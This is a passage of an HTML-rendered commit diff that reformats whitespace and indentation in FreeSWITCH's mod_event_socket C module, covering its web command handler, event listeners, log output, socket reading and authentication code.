</del><ins>+                http = switch_event_get_header(stream-&gt;param_event, &quot;http-host&quot;);
</ins><span class="cx">                 wcmd = switch_event_get_header(stream-&gt;param_event, &quot;command&quot;);
</span><span class="cx">                 format = switch_event_get_header(stream-&gt;param_event, &quot;format&quot;);
</span><del>-    }
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (!http) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;This is a web application!\n&quot;);
</span><del>-        return SWITCH_STATUS_SUCCESS;
</del><ins>+                return SWITCH_STATUS_SUCCESS;
</ins><span class="cx">         }
</span><span class="cx">         stream-&gt;write_function(stream, &quot;Content-Type: text/xml\n\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream-&gt;write_function(stream, &quot;&lt;?xml version=\&quot;1.0\&quot;?&gt;\n&quot;);
</span><span class="cx">         stream-&gt;write_function(stream, &quot;&lt;root&gt;\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!wcmd) {
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;Missing command parameter!&lt;/reply&gt;&lt;/data&gt;\n&quot;);
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!format) {
</span><span class="cx">                 format = &quot;xml&quot;;
</span><span class="cx">         }
</span><span class="lines">@@ -653,15 +655,15 @@
</span><span class="cx"> 
</span><span class="cx">                 if (!(listener = find_listener(idl))) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;Invalid Listen-ID&lt;/reply&gt;&lt;/data&gt;\n&quot;);
</span><del>-            goto end;
</del><ins>+                        goto end;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (zstr(action)) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;Invalid Syntax&lt;/reply&gt;&lt;/data&gt;\n&quot;);
</span><del>-            goto end;
</del><ins>+                        goto end;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><del>-                switch_mutex_lock(listener-&gt;filter_mutex);                
</del><ins>+                switch_mutex_lock(listener-&gt;filter_mutex);
</ins><span class="cx">                 if (!listener-&gt;filters) {
</span><span class="cx">                         switch_event_create_plain(&amp;listener-&gt;filters, SWITCH_EVENT_CHANNEL_DATA);
</span><span class="cx">                 }
</span><span class="lines">@@ -690,7 +692,7 @@
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;Invalid Syntax&lt;/reply&gt;&lt;/data&gt;\n&quot;);
</span><span class="cx">                 }
</span><span class="cx"> 
</span><del>-        filter_end:
</del><ins>+          filter_end:
</ins><span class="cx"> 
</span><span class="cx">                 switch_mutex_unlock(listener-&gt;filter_mutex);
</span><span class="cx"> 
</span><span class="lines">@@ -704,7 +706,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (!(listener = find_listener(idl))) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;Invalid Listen-ID&lt;/reply&gt;&lt;/data&gt;\n&quot;);
</span><del>-            goto end;
</del><ins>+                        goto end;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="lines">@@ -727,7 +729,7 @@
</span><span class="cx"> 
</span><span class="cx">                 if (!(listener = find_listener(idl))) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;Invalid Listen-ID&lt;/reply&gt;&lt;/data&gt;\n&quot;);
</span><del>-            goto end;
</del><ins>+                        goto end;
</ins><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 if (loglevel) {
</span><span class="lines">@@ -753,7 +755,7 @@
</span><span class="cx">                 uint32_t count = 0, key_count = 0;
</span><span class="cx">                 uint8_t custom = 0;
</span><span class="cx">                 char *edup;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (zstr(events) &amp;&amp; zstr(loglevel)) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;Missing parameter!&lt;/reply&gt;&lt;/data&gt;\n&quot;);
</span><span class="cx">                         goto end;
</span><span class="lines">@@ -784,7 +786,7 @@
</span><span class="cx">                 listener-&gt;id = next_id();
</span><span class="cx">                 listener-&gt;timeout = 60;
</span><span class="cx">                 listener-&gt;last_flush = switch_epoch_time_now(NULL);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (events) {
</span><span class="cx">                         char delim = ',';
</span><span class="cx"> 
</span><span class="lines">@@ -793,7 +795,7 @@
</span><span class="cx">                         } else {
</span><span class="cx">                                 listener-&gt;format = EVENT_FORMAT_PLAIN;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         edup = strdup(events);
</span><span class="cx"> 
</span><span class="cx">                         if (strchr(edup, ' ')) {
</span><span class="lines">@@ -802,7 +804,7 @@
</span><span class="cx"> 
</span><span class="cx">                         for (cur = edup; cur; count++) {
</span><span class="cx">                                 switch_event_types_t type;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if ((next = strchr(cur, delim))) {
</span><span class="cx">                                         *next++ = '\0';
</span><span class="cx">                                 }
</span><span class="lines">@@ -824,11 +826,11 @@
</span><span class="cx">                                                 custom++;
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 cur = next;
</span><span class="cx">                         }
</span><del>-                
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         switch_safe_free(edup);
</span><span class="cx"> 
</span><span class="cx">                         if (!key_count) {
</span><span class="lines">@@ -849,9 +851,9 @@
</span><span class="cx">                 if (globals.debug &gt; 0) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, &quot;Creating event-sink listener [%u]\n&quot;, listener-&gt;id);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 goto end;
</span><del>-        } else if (!strcasecmp(wcmd, &quot;destroy-listener&quot;)) {                
</del><ins>+        } else if (!strcasecmp(wcmd, &quot;destroy-listener&quot;)) {
</ins><span class="cx">                 char *id = switch_event_get_header(stream-&gt;param_event, &quot;listen-id&quot;);
</span><span class="cx">                 uint32_t idl = 0;
</span><span class="cx"> 
</span><span class="lines">@@ -881,7 +883,7 @@
</span><span class="cx">                 uint32_t idl = 0;
</span><span class="cx">                 void *pop;
</span><span class="cx">                 switch_event_t *pevent = NULL;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (id) {
</span><span class="cx">                         idl = (uint32_t) atol(id);
</span><span class="cx">                 }
</span><span class="lines">@@ -892,7 +894,7 @@
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 listener-&gt;last_flush = switch_epoch_time_now(NULL);
</span><del>-                stream-&gt;write_function(stream, &quot;&lt;data&gt;\n &lt;reply type=\&quot;success\&quot;&gt;Current Events Follow&lt;/reply&gt;\n&quot;);                        
</del><ins>+                stream-&gt;write_function(stream, &quot;&lt;data&gt;\n &lt;reply type=\&quot;success\&quot;&gt;Current Events Follow&lt;/reply&gt;\n&quot;);
</ins><span class="cx">                 xmlize_listener(listener, stream);
</span><span class="cx"> 
</span><span class="cx">                 if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="lines">@@ -902,22 +904,16 @@
</span><span class="cx">                                 switch_log_node_t *dnode = (switch_log_node_t *) pop;
</span><span class="cx">                                 int encode_len = (strlen(dnode-&gt;data) * 3) + 1;
</span><span class="cx">                                 char *encode_buf = malloc(encode_len);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_assert(encode_buf);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 memset(encode_buf, 0, encode_len);
</span><span class="cx">                                 switch_url_encode((char *) dnode-&gt;data, encode_buf, encode_len);
</span><del>-                                
</del><span class="cx"> 
</span><del>-                                stream-&gt;write_function(stream, &quot;&lt;log log-level=\&quot;%d\&quot; text-channel=\&quot;%d\&quot; log-file=\&quot;%s\&quot; log-func=\&quot;%s\&quot; log-line=\&quot;%d\&quot; user-data=\&quot;%s\&quot;&gt;%s&lt;/log&gt;\n&quot;,
-                                                                           dnode-&gt;level,
-                                                                           dnode-&gt;channel,
-                                                                           dnode-&gt;file,
-                                                                           dnode-&gt;func,
-                                                                           dnode-&gt;line,
-                                                                           switch_str_nil(dnode-&gt;userdata),
-                                                                           encode_buf
-                                                                           );
</del><ins>+
+                                stream-&gt;write_function(stream,
+                                                                           &quot;&lt;log log-level=\&quot;%d\&quot; text-channel=\&quot;%d\&quot; log-file=\&quot;%s\&quot; log-func=\&quot;%s\&quot; log-line=\&quot;%d\&quot; user-data=\&quot;%s\&quot;&gt;%s&lt;/log&gt;\n&quot;,
+                                                                           dnode-&gt;level, dnode-&gt;channel, dnode-&gt;file, dnode-&gt;func, dnode-&gt;line, switch_str_nil(dnode-&gt;userdata), encode_buf);
</ins><span class="cx">                                 free(encode_buf);
</span><span class="cx">                                 switch_log_node_free(&amp;dnode);
</span><span class="cx">                         }
</span><span class="lines">@@ -949,7 +945,7 @@
</span><span class="cx"> 
</span><span class="cx">                                 stream-&gt;write_function(stream, &quot;%s\n&quot;, listener-&gt;ebuf);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         switch_safe_free(listener-&gt;ebuf);
</span><span class="cx">                         switch_event_destroy(&amp;pevent);
</span><span class="cx">                 }
</span><span class="lines">@@ -965,7 +961,7 @@
</span><span class="cx">                 char *api_command = switch_event_get_header(stream-&gt;param_event, &quot;fsapi-command&quot;);
</span><span class="cx">                 char *api_args = switch_event_get_header(stream-&gt;param_event, &quot;fsapi-args&quot;);
</span><span class="cx">                 switch_event_t *event, *oevent;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!(api_command)) {
</span><span class="cx">                         stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;INVALID API COMMAND!&lt;/reply&gt;&lt;/data&gt;\n&quot;);
</span><span class="cx">                         goto end;
</span><span class="lines">@@ -991,10 +987,10 @@
</span><span class="cx">                 stream-&gt;write_function(stream, &quot;&lt;data&gt;&lt;reply type=\&quot;error\&quot;&gt;INVALID COMMAND!&lt;/reply&gt;&lt;/data\n&quot;);
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         stream-&gt;write_function(stream, &quot;&lt;/root&gt;\n\n&quot;);
</span><del>-        
</del><ins>+
</ins><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="cx"> 
</span><span class="lines">@@ -1015,7 +1011,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Couldn't bind!\n&quot;);
</span><span class="cx">                 return SWITCH_STATUS_GENERR;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_log_bind_logger(socket_logger, SWITCH_LOG_DEBUG, SWITCH_FALSE);
</span><span class="cx"> 
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="lines">@@ -1062,7 +1058,7 @@
</span><span class="cx">                 mlen = 1;
</span><span class="cx"> 
</span><span class="cx">                 status = switch_socket_recv(listener-&gt;sock, ptr, &amp;mlen);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (prefs.done || (!SWITCH_STATUS_IS_BREAK(status) &amp;&amp; status != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                         return SWITCH_STATUS_FALSE;
</span><span class="cx">                 }
</span><span class="lines">@@ -1119,34 +1115,34 @@
</span><span class="cx">                                                                 switch_event_add_header_string(*event, SWITCH_STACK_BOTTOM, var, val);
</span><span class="cx">                                                                 if (!strcasecmp(var, &quot;content-length&quot;)) {
</span><span class="cx">                                                                         clen = atoi(val);
</span><del>-                                                                        
</del><ins>+
</ins><span class="cx">                                                                         if (clen &gt; 0) {
</span><span class="cx">                                                                                 char *body;
</span><span class="cx">                                                                                 char *p;
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                                                                 switch_zmalloc(body, clen + 1);
</span><span class="cx"> 
</span><span class="cx">                                                                                 p = body;
</span><del>-                                                                                while(clen &gt; 0) {
</del><ins>+                                                                                while (clen &gt; 0) {
</ins><span class="cx">                                                                                         mlen = clen;
</span><del>-                                                                                        
</del><ins>+
</ins><span class="cx">                                                                                         status = switch_socket_recv(listener-&gt;sock, p, &amp;mlen);
</span><span class="cx"> 
</span><span class="cx">                                                                                         if (prefs.done || (!SWITCH_STATUS_IS_BREAK(status) &amp;&amp; status != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                                                                                                 return SWITCH_STATUS_FALSE;
</span><span class="cx">                                                                                         }
</span><del>-                                                                                        
</del><ins>+
</ins><span class="cx">                                                                                         /*
</span><del>-                                                                                        if (channel &amp;&amp; !switch_channel_ready(channel)) {
-                                                                                                status = SWITCH_STATUS_FALSE;
-                                                                                                break;
-                                                                                        }
-                                                                                        */
</del><ins>+                                                                                           if (channel &amp;&amp; !switch_channel_ready(channel)) {
+                                                                                           status = SWITCH_STATUS_FALSE;
+                                                                                           break;
+                                                                                           }
+                                                                                         */
</ins><span class="cx"> 
</span><span class="cx">                                                                                         clen -= (int) mlen;
</span><span class="cx">                                                                                         p += mlen;
</span><span class="cx">                                                                                 }
</span><del>-                                                                                
</del><ins>+
</ins><span class="cx">                                                                                 switch_event_add_body(*event, &quot;%s&quot;, body);
</span><span class="cx">                                                                                 free(body);
</span><span class="cx">                                                                         }
</span><span class="lines">@@ -1154,13 +1150,13 @@
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         cur = next;
</span><span class="cx">                                 }
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (timeout) {
</span><span class="cx">                         elapsed = (uint32_t) (switch_epoch_time_now(NULL) - start);
</span><span class="cx">                         if (elapsed &gt;= timeout) {
</span><span class="lines">@@ -1173,9 +1169,9 @@
</span><span class="cx">                         if (switch_test_flag(listener, LFLAG_LOG)) {
</span><span class="cx">                                 if (switch_queue_trypop(listener-&gt;log_queue, &amp;pop) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_log_node_t *dnode = (switch_log_node_t *) pop;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (dnode-&gt;data) {
</span><del>-                                                switch_snprintf(buf, sizeof(buf), 
</del><ins>+                                                switch_snprintf(buf, sizeof(buf),
</ins><span class="cx">                                                                                 &quot;Content-Type: log/data\n&quot;
</span><span class="cx">                                                                                 &quot;Content-Length: %&quot; SWITCH_SSIZE_T_FMT &quot;\n&quot;
</span><span class="cx">                                                                                 &quot;Log-Level: %d\n&quot;
</span><span class="lines">@@ -1186,25 +1182,20 @@
</span><span class="cx">                                                                                 &quot;User-Data: %s\n&quot;
</span><span class="cx">                                                                                 &quot;\n&quot;,
</span><span class="cx">                                                                                 strlen(dnode-&gt;data),
</span><del>-                                                                                dnode-&gt;level,
-                                                                                dnode-&gt;channel,
-                                                                                dnode-&gt;file,
-                                                                                dnode-&gt;func,
-                                                                                dnode-&gt;line,
-                                                                                switch_str_nil(dnode-&gt;userdata)
-                                                                                );
</del><ins>+                                                                                dnode-&gt;level, dnode-&gt;channel, dnode-&gt;file, dnode-&gt;func, dnode-&gt;line, switch_str_nil(dnode-&gt;userdata)
+                                                        );
</ins><span class="cx">                                                 len = strlen(buf);
</span><span class="cx">                                                 switch_socket_send(listener-&gt;sock, buf, &amp;len);
</span><span class="cx">                                                 len = strlen(dnode-&gt;data);
</span><span class="cx">                                                 switch_socket_send(listener-&gt;sock, dnode-&gt;data, &amp;len);
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_log_node_free(&amp;dnode);
</span><span class="cx">                                         do_sleep = 0;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         if (listener-&gt;session) {
</span><span class="cx">                                 switch_channel_t *chan = switch_core_session_get_channel(listener-&gt;session);
</span><span class="cx">                                 if (switch_channel_get_state(chan) &lt; CS_HANGUP &amp;&amp; switch_channel_test_flag(chan, CF_DIVERT_EVENTS)) {
</span><span class="lines">@@ -1223,7 +1214,7 @@
</span><span class="cx">                                         char hbuf[512];
</span><span class="cx">                                         switch_event_t *pevent = (switch_event_t *) pop;
</span><span class="cx">                                         char *etype;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         do_sleep = 0;
</span><span class="cx">                                         if (listener-&gt;format == EVENT_FORMAT_PLAIN) {
</span><span class="cx">                                                 etype = &quot;plain&quot;;
</span><span class="lines">@@ -1242,7 +1233,7 @@
</span><span class="cx">                                         }
</span><span class="cx"> 
</span><span class="cx">                                         switch_assert(listener-&gt;ebuf);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         len = strlen(listener-&gt;ebuf);
</span><span class="cx"> 
</span><span class="cx">                                         switch_snprintf(hbuf, sizeof(hbuf), &quot;Content-Length: %&quot; SWITCH_SSIZE_T_FMT &quot;\n&quot; &quot;Content-Type: text/event-%s\n&quot; &quot;\n&quot;, len, etype);
</span><span class="lines">@@ -1252,10 +1243,10 @@
</span><span class="cx"> 
</span><span class="cx">                                         len = strlen(listener-&gt;ebuf);
</span><span class="cx">                                         switch_socket_send(listener-&gt;sock, listener-&gt;ebuf, &amp;len);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         switch_safe_free(listener-&gt;ebuf);
</span><span class="cx"> 
</span><del>-                                endloop:
</del><ins>+                                  endloop:
</ins><span class="cx"> 
</span><span class="cx">                                         switch_event_destroy(&amp;pevent);
</span><span class="cx">                                 }
</span><span class="lines">@@ -1268,15 +1259,13 @@
</span><span class="cx">                                 char message[128] = &quot;&quot;;
</span><span class="cx">                                 char disco_buf[512] = &quot;&quot;;
</span><span class="cx"> 
</span><del>-                                switch_snprintf(message, sizeof(message), 
</del><ins>+                                switch_snprintf(message, sizeof(message),
</ins><span class="cx">                                                                 &quot;Channel %s has disconnected, lingering by request from remote.\n&quot;, switch_channel_get_name(channel));
</span><span class="cx">                                 mlen = strlen(message);
</span><span class="cx"> 
</span><span class="cx">                                 switch_snprintf(disco_buf, sizeof(disco_buf), &quot;Content-Type: text/disconnect-notice\n&quot;
</span><span class="cx">                                                                 &quot;Controlled-Session-UUID: %s\n&quot;
</span><del>-                                                                &quot;Content-Disposition: linger\n&quot;
-                                                                &quot;Content-Length: %d\n\n&quot;, 
-                                                                switch_core_session_get_uuid(listener-&gt;session), (int)mlen);
</del><ins>+                                                                &quot;Content-Disposition: linger\n&quot; &quot;Content-Length: %d\n\n&quot;, switch_core_session_get_uuid(listener-&gt;session), (int) mlen);
</ins><span class="cx"> 
</span><span class="cx">                                 len = strlen(disco_buf);
</span><span class="cx">                                 switch_socket_send(listener-&gt;sock, disco_buf, &amp;len);
</span><span class="lines">@@ -1287,7 +1276,7 @@
</span><span class="cx">                                 break;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (do_sleep) {
</span><span class="cx">                         switch_cond_next();
</span><span class="cx">                 }
</span><span class="lines">@@ -1320,7 +1309,7 @@
</span><span class="cx">         prefs.threads++;
</span><span class="cx">         switch_mutex_unlock(globals.listener_mutex);
</span><span class="cx"> 
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!acs) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, &quot;Internal error.\n&quot;);
</span><span class="cx">                 goto cleanup;
</span><span class="lines">@@ -1332,11 +1321,11 @@
</span><span class="cx">                 acs-&gt;ack = -1;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         acs-&gt;ack = 1;
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_STANDARD_STREAM(stream);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (acs-&gt;console_execute) {
</span><span class="cx">                 if ((status = switch_console_execute(acs-&gt;api_cmd, 0, &amp;stream)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         stream.write_function(&amp;stream, &quot;%s: Command not found!\n&quot;, acs-&gt;api_cmd);
</span><span class="lines">@@ -1396,19 +1385,20 @@
</span><span class="cx">                 switch_memory_pool_t *pool = acs-&gt;pool;
</span><span class="cx">                 if (acs-&gt;ack == -1) {
</span><span class="cx">                         int sanity = 2000;
</span><del>-                        while(acs-&gt;ack == -1) {
</del><ins>+                        while (acs-&gt;ack == -1) {
</ins><span class="cx">                                 switch_cond_next();
</span><del>-                                if (--sanity &lt;= 0) break;
</del><ins>+                                if (--sanity &lt;= 0)
+                                        break;
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx"> 
</span><span class="cx">                 acs = NULL;
</span><span class="cx">                 switch_core_destroy_memory_pool(&amp;pool);
</span><span class="cx">                 pool = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx"> 
</span><del>- cleanup:
</del><ins>+  cleanup:
</ins><span class="cx">         switch_mutex_lock(globals.listener_mutex);
</span><span class="cx">         prefs.threads--;
</span><span class="cx">         switch_mutex_unlock(globals.listener_mutex);
</span><span class="lines">@@ -1426,14 +1416,14 @@
</span><span class="cx">         char *next = NULL;
</span><span class="cx">         switch_bool_t ok = SWITCH_TRUE;
</span><span class="cx"> 
</span><del>- top:
</del><ins>+  top:
</ins><span class="cx"> 
</span><span class="cx">         if (!switch_core_hash_find(listener-&gt;allowed_api_hash, check_cmd)) {
</span><span class="cx">                 ok = SWITCH_FALSE;
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
-        while(check_cmd) {
</del><ins>+
+        while (check_cmd) {
</ins><span class="cx">                 for (x = 0; sneaky_commands[x]; x++) {
</span><span class="cx">                         if (!strcasecmp(sneaky_commands[x], check_cmd)) {
</span><span class="cx">                                 if (check_cmd == api_cmd) {
</span><span class="lines">@@ -1452,7 +1442,7 @@
</span><span class="cx">                                         } else {
</span><span class="cx">                                                 check_cmd = dup_arg;
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if ((next = strchr(check_cmd, ' '))) {
</span><span class="cx">                                                 *next++ = '\0';
</span><span class="cx">                                         }
</span><span class="lines">@@ -1463,11 +1453,11 @@
</span><span class="cx">                 break;
</span><span class="cx">         }
</span><span class="cx"> 
</span><del>- end:
</del><ins>+  end:
</ins><span class="cx"> 
</span><span class="cx">         switch_safe_free(dup_arg);
</span><span class="cx">         return ok;
</span><del>-        
</del><ins>+
</ins><span class="cx"> }
</span><span class="cx"> 
</span><span class="cx"> static switch_status_t parse_command(listener_t *listener, switch_event_t **event, char *reply, uint32_t reply_len)
</span><span class="lines">@@ -1476,14 +1466,14 @@
</span><span class="cx">         char *cmd = switch_event_get_header(*event, &quot;command&quot;);
</span><span class="cx">         char unload_cheat[] = &quot;api bgapi unload mod_event_socket&quot;;
</span><span class="cx">         char reload_cheat[] = &quot;api bgapi reload mod_event_socket&quot;;
</span><del>-        
</del><ins>+
</ins><span class="cx">         *reply = '\0';
</span><span class="cx"> 
</span><span class="cx">         if (switch_stristr(&quot;unload&quot;, cmd) &amp;&amp; switch_stristr(&quot;mod_event_socket&quot;, cmd)) {
</span><span class="cx">                 cmd = unload_cheat;
</span><span class="cx">         } else if (switch_stristr(&quot;reload&quot;, cmd) &amp;&amp; switch_stristr(&quot;mod_event_socket&quot;, cmd)) {
</span><span class="cx">                 cmd = reload_cheat;
</span><del>-        } 
</del><ins>+        }
</ins><span class="cx"> 
</span><span class="cx">         if (!strncasecmp(cmd, &quot;exit&quot;, 4) || !strncasecmp(cmd, &quot;...&quot;, 3)) {
</span><span class="cx">                 switch_clear_flag_locked(listener, LFLAG_RUNNING);
</span><span class="lines">@@ -1522,8 +1512,8 @@
</span><span class="cx">                         char api_reply[512] = &quot;Allowed-API: all\n&quot;;
</span><span class="cx">                         char log_reply[512] = &quot;&quot;;
</span><span class="cx">                         int allowed_log = 1;
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         switch_clear_flag(listener, LFLAG_ALLOW_LOG);
</span><span class="cx"> 
</span><span class="cx">                         strip_cr(cmd);
</span><span class="lines">@@ -1548,11 +1538,11 @@
</span><span class="cx">                         passwd = NULL;
</span><span class="cx">                         allowed_events = NULL;
</span><span class="cx">                         allowed_api = NULL;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         params = NULL;
</span><span class="cx">                         x_domain_root = NULL;
</span><del>-                        
</del><span class="cx"> 
</span><ins>+
</ins><span class="cx">                         switch_event_create(&amp;params, SWITCH_EVENT_REQUEST_PARAMS);
</span><span class="cx">                         switch_assert(params);
</span><span class="cx">                         switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, &quot;action&quot;, &quot;event_socket_auth&quot;);
</span><span class="lines">@@ -1565,7 +1555,7 @@
</span><span class="cx">                                 list[1] = x_group;
</span><span class="cx">                                 list[2] = x_user;
</span><span class="cx"> 
</span><del>-                                for (x = 0 ; x &lt; 3; x++) {
</del><ins>+                                for (x = 0; x &lt; 3; x++) {
</ins><span class="cx">                                         if ((x_params = switch_xml_child(list[x], &quot;params&quot;))) {
</span><span class="cx">                                                 for (x_param = switch_xml_child(x_params, &quot;param&quot;); x_param; x_param = x_param-&gt;next) {
</span><span class="cx">                                                         const char *var = switch_xml_attr_soft(x_param, &quot;name&quot;);
</span><span class="lines">@@ -1587,10 +1577,10 @@
</span><span class="cx">                                 authed = 0;
</span><span class="cx">                                 goto bot;
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (!zstr(passwd) &amp;&amp; !zstr(pass) &amp;&amp; !strcmp(passwd, pass)) {
</span><span class="cx">                                 authed = 1;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (allowed_events) {
</span><span class="cx">                                         char delim = ',';
</span><span class="cx">                                         char *cur, *next;
</span><span class="lines">@@ -1601,17 +1591,17 @@
</span><span class="cx">                                         switch_snprintf(event_reply, sizeof(event_reply), &quot;Allowed-Events: %s\n&quot;, allowed_events);
</span><span class="cx"> 
</span><span class="cx">                                         switch_core_hash_init(&amp;listener-&gt;allowed_event_hash, listener-&gt;pool);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         edup = strdup(allowed_events);
</span><span class="cx">                                         cur = edup;
</span><span class="cx"> 
</span><span class="cx">                                         if (strchr(edup, ' ')) {
</span><span class="cx">                                                 delim = ' ';
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         for (cur = edup; cur; count++) {
</span><span class="cx">                                                 switch_event_types_t type;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if ((next = strchr(cur, delim))) {
</span><span class="cx">                                                         *next++ = '\0';
</span><span class="cx">                                                 }
</span><span class="lines">@@ -1630,15 +1620,15 @@
</span><span class="cx">                                                         if (type &lt;= SWITCH_EVENT_ALL) {
</span><span class="cx">                                                                 listener-&gt;allowed_event_list[type] = 1;
</span><span class="cx">                                                         }
</span><del>-                                                        
</del><ins>+
</ins><span class="cx">                                                         if (type == SWITCH_EVENT_CUSTOM) {
</span><span class="cx">                                                                 custom++;
</span><span class="cx">                                                         }
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 cur = next;
</span><span class="cx">                                         }
</span><del>-                
</del><ins>+
</ins><span class="cx">                                         switch_safe_free(edup);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="lines">@@ -1656,14 +1646,14 @@
</span><span class="cx">                                         switch_snprintf(api_reply, sizeof(api_reply), &quot;Allowed-API: %s\n&quot;, allowed_api);
</span><span class="cx"> 
</span><span class="cx">                                         switch_core_hash_init(&amp;listener-&gt;allowed_api_hash, listener-&gt;pool);
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         edup = strdup(allowed_api);
</span><span class="cx">                                         cur = edup;
</span><span class="cx"> 
</span><span class="cx">                                         if (strchr(edup, ' ')) {
</span><span class="cx">                                                 delim = ' ';
</span><span class="cx">                                         }
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         for (cur = edup; cur; count++) {
</span><span class="cx">                                                 if ((next = strchr(cur, delim))) {
</span><span class="cx">                                                         *next++ = '\0';
</span><span class="lines">@@ -1673,19 +1663,19 @@
</span><span class="cx"> 
</span><span class="cx">                                                 cur = next;
</span><span class="cx">                                         }
</span><del>-                
</del><ins>+
</ins><span class="cx">                                         switch_safe_free(edup);
</span><span class="cx">                                 }
</span><span class="cx"> 
</span><span class="cx">                         }
</span><span class="cx"> 
</span><del>-                        
-                bot:
</del><span class="cx"> 
</span><ins>+                  bot:
+
</ins><span class="cx">                         if (params) {
</span><span class="cx">                                 switch_event_destroy(&amp;params);
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (authed) {
</span><span class="cx">                                 switch_set_flag_locked(listener, LFLAG_AUTHED);
